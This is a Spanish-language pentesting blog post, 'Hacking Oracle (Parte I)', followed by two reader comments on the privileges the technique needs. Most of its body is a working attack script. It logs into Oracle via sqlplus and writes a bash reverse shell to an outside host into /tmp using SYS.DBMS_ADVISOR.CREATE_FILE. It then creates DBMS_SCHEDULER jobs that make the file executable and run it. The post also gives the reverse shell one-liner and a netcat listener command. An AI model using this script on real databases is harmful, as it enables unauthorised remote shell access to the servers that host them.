lunes, 1 de octubre de 2012

Hacking Oracle (Parte I)

REVERSE SHELL FROM ORACLE TO UNIX.


En ocasiones en un pentesting es más fácil conseguir un usuario de oracle que un usuario de SO, pero nos interesa obtener una shell en la máquina.
No es raro encontrar todo tipo de credenciales "hardcodeadas" en texto plano en ficheros de configuración y todavía es más frecuente si hablamos de bases de datos, se pueden encontrar usuarios con credenciales "hardcodeadas" en equipos finales de usuarios (automatizaciones, etc), el caso que aquí nos ocupa es el de encontrar una forma simple para salirse de Oracle (en este caso) al sistema operativo, veamos como podemos lograrlo.

Vamos a suponer que o bien somos un usuario de base de datos “legal” o bien hemos realizado el proceso típico en pentesting de Oracle, a saber:
1) Encontrar bases de datos
2) Obtener SIDs
3) Obtener Users/Pass
4) Login y enumerate DB Schema
5) etc…

Siendo así vamos a suponer que tenemos usuario en la base de datos y que unicamente  tenemos acceso al host mediante el puerto 1521 (puerto estándar del listener), necesitaremos por tanto una shell reversa, por ejemplo, de forma simple y sin perder generalidad: bash -i >& /dev/tcp/10.1.1.1/12345 0>&1 y como es de suponer a la escucha pondremos por ejemplo un nc –l –p 12345….

Necesitaremos de algún modo poder escribir en el host, Oracle proporciona varias forma de hacerlo, muchas de ellas que por defecto se establecen a nivel de packages y con permisos de execute a public! Que tenemos disponible para nuestras necesidades:

SYS.DBMS_ADVISOR.CREATE_FILE: Como su nombre indica la usaremos para crear el fichero octopus.sh en /tmp. El fichero contiene nuestra shell reversa “bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1”.

DBMS_SCHEDULER.CREATE_JOB: Otra gran utilidad de Oracle que nos permite crear jobs, en este caso crearemos “mjob”  para que de permisos a nuestra shell reversa, esto es, un chmod 755 en /tmp/octopus.sh

DBMS_SCHEDULER: Como no podría ser de otra forma, tenemos que lanzar el script, para ello Oracle nuevamente nos ayuda, la idea es ejecutar /etm/octopus.sh

Veamos entonces como será el montante final:

#/bin/bash

USER=$1

PW=$2

IP=$3

SID=$4

echo "Puerto RevShell"

read PUERTO

echo "IP reverse:"

read HOST

echo "Arranca el listener ej: nc -l -p $PUERTO ...."

read

sqlplus $USER/$PW@//$IP/$SID<<BELCEBU

CREATE DIRECTORY ESTEMISMO as '/tmp';

GRANT read,write on DIRECTORY ESTEMISMO to public;

SET define off;

DECLARE

belce_data clob;

ESTEMISMO varchar2(200);

fich varchar2(700);

BEGIN

belce_data:='bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1';

ESTEMISMO:= 'ESTEMISMO';

fich:='octopus.sh.sh';

SYS.DBMS_ADVISOR.CREATE_FILE (belce_data, ESTEMISMO, fich);

COMMIT;

dbms_scheduler.create_job(job_name => 'lanzador',

job_type => 'executable',

job_action => '/bin/chmod',

number_of_arguments => 2,

enabled => FALSE,

auto_drop => TRUE);

dbms_scheduler.set_job_argument_value('lanzador',1,'755');

dbms_scheduler.set_job_argument_value('lanzador',2,'/tmp/octopus.sh.sh');

dbms_scheduler.enable('lanzador');

dbms_scheduler.create_job(job_name => 'octopusshell',

job_type => 'EXECUTABLE',

job_action => '/bin/bash',

number_of_arguments => 1,

start_date => SYSTIMESTAMP,

enabled => FALSE);

dbms_scheduler.set_job_argument_value('octopusshell',1,'/tmp/octopus.sh.sh');

dbms_scheduler.enable('octopusshell');

END;

/

BELCEBU

Exit











Como podemos ver hemos obtenido shell en la máquina sobre la cual corre la base de datos Oracle de la que somos usuario, el único y gran problema que tenemos es nuestra personalidad en unix, si el usuario con el que nos conectamos a la base de datos tambien existe como usuario del sistema operativo, lease el caso típico del usuario Oracle, obtendríamos shell en la máquina como usuario Oracle y probablemente grupo DBA o similar, pero si el usuario de la base de datos no existe en el sistema Unix, como en este caso el usuario “segtest”, al salirnos de Oracle obtendremos shell con usuario y grupo nobody, la pregunta genérica es ¿Qué podemos hacer para elevar privilegios? Seguramente tendremos muchas respuestas, pero la pregunta concreta es ¿Podemos salir y conseguir privilegios con métodos similares?

Las respuestas se harán esperar :D

2 comentarios:

  1. Bueno en realidad la PoC es buena , pero para ser efectiva se necesita que el usuario tenga privilegios de crear directorios
    algo como
    GRANT CREATE ANY DIRECTORY TO tusuario;
    Si tienes razon en el punto de que algunos paquetes son publicos pero no los que se podrian utilizar para subir una shell o escribir algo mas que comprometa el S.O , hay otros paquetes que indirectamente permiten elevar privilegios a un usuario oracle (estos publicos). Con esta premisa si se podria tener el control del s.o , claro que cada S.O es una historia diferente.

    Interezante escenario que colocas.exitos.

    ResponderEliminar
  2. En realidad la idea es hacer uso de los privilegios que nunca se revisan o que incluso Oracle otorga by default, es decir, es muy común que los paquetes mencionados (SYS.DBMS_ADVISOR.CREATE_FILE, DBMS_SCHEDULER.CREATE_JOB ,DBMS_SCHEDULER, entre otros)tengan privilegios de ejecución a PUBLIC, esto es, cualquier usuario puede utilizarlos, por lo que haciendo uso de estos tres paquetes tal como mencionamos en el POC, unicamente necesitamos que el usuario tenga asociado el rol de connect y/o resources.

    Espero haber aclarado tu duda y como bien comentas la idea del POC no es elevar privilegios sino tan solo ver como con estos conceptos simples podemos "salir al sistema", que en determinadas cirsunstancias podría ser equivalente a obtener una shell en el sistema.

    ResponderEliminar